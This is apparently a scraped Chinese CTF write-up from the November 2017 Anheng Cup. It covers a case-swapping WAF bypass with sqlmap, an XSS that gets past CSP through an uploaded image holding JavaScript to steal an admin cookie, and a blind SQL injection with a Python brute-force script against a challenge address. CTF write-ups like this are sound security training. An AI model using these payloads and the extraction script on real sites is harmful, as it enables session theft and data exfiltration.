安恒杯十一月比賽部分writeup
阿新 • • 發佈:2017-11-12
payload tro ror ase orm div lmap web code 別忘了我們還有一個可以上傳的地方:
Web1 繞過看門狗
簡單嘗試了一下,大小寫繞過就可以。sqlmap直接加個randomcase.py的tamper即可,當然寫腳本來跑也是可以的。
Web2 jshunt
打開鏈接,看到一個上傳點和一個留言板。輸入<img src=#onerror=alert(1)/>,提示“非法標簽”,最後發現只能使用script。
之後把重點放在script,fuzz發現只能使用src屬性,嘗試包含js文件,提示“禁止包含js文件”。
包含外部js文件同樣報錯,同時觀察返回包,發現使用了csp策略,包含外部js也是行不通了:
別忘了我們還有一個可以上傳的地方:
上次帶有js代碼的圖片,然後使用SRC加載文件,留言給管理員,返回信息提示代碼是成功的,然後就能收cookie了。
Web3 babysql:
過濾了union,column_name,*。
http://www.wupco.cn/?p=3764參考了這裏才找到了註入點。。
$sql = "desc `error_{$table}`"; $res = mysql_query($sql); if(empty(mysql_fetch_array($res))){ echo "<center>no table detail</center>"; die(); } $sql = "select * from error_${table} where id = $id";
得知desc能判斷table師傅存在,如果存在才會執行下一條語句。
payload:
http://114.55.36.69:20680/index.php?table=flag` `a%&id=3
寫個腳本跑:
#!/usr/bin/env # -*- coding: utf-8 -*- import requests as r import string r1=r.session() s=string.printable flag="" for i in range(50): url="http://192.168.1.1/index.php?table=flag` `{0}%&id=3" for j in s: url2=url.format(str(flag+j)) r2=r1.get(url2) if "SQL" in r2.text: flag+=j print flag break
安恒杯十一月比賽部分writeup